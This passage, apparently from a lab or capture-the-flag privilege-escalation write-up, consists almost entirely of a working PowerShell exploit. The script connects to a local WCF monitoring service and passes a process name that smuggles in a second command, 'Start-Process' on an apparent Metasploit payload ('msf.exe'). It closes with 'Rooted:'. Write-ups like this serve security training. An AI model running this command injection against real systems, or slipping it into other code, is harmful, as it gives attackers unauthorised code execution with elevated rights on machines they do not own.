If we want it fully in-memory (no compiling), PowerShell works too:

PowerShell
# wcf.ps1

Add-Type -AssemblyName System.ServiceModel

$cmd = "Start-Process 'C:\temp\msf.exe' "

$code = @"
using System;
using System.ServiceModel;

[ServiceContract]
public interface IMonitoringService
{
    [OperationContract]
    string KillProcess(string processName);
}
"@

Add-Type -TypeDefinition $code -ReferencedAssemblies "System.ServiceModel.dll"

$binding  = New-Object System.ServiceModel.BasicHttpBinding
$endpoint = New-Object System.ServiceModel.EndpointAddress("http://127.0.0.1:8000/MONITORSERVICE/")

$factory = New-Object System.ServiceModel.ChannelFactory[IMonitoringService]($binding, $endpoint)
$proxy   = $factory.CreateChannel()

$processName = "notepad; " + $cmd + " #"
$proxy.KillProcess($processName)

Rooted: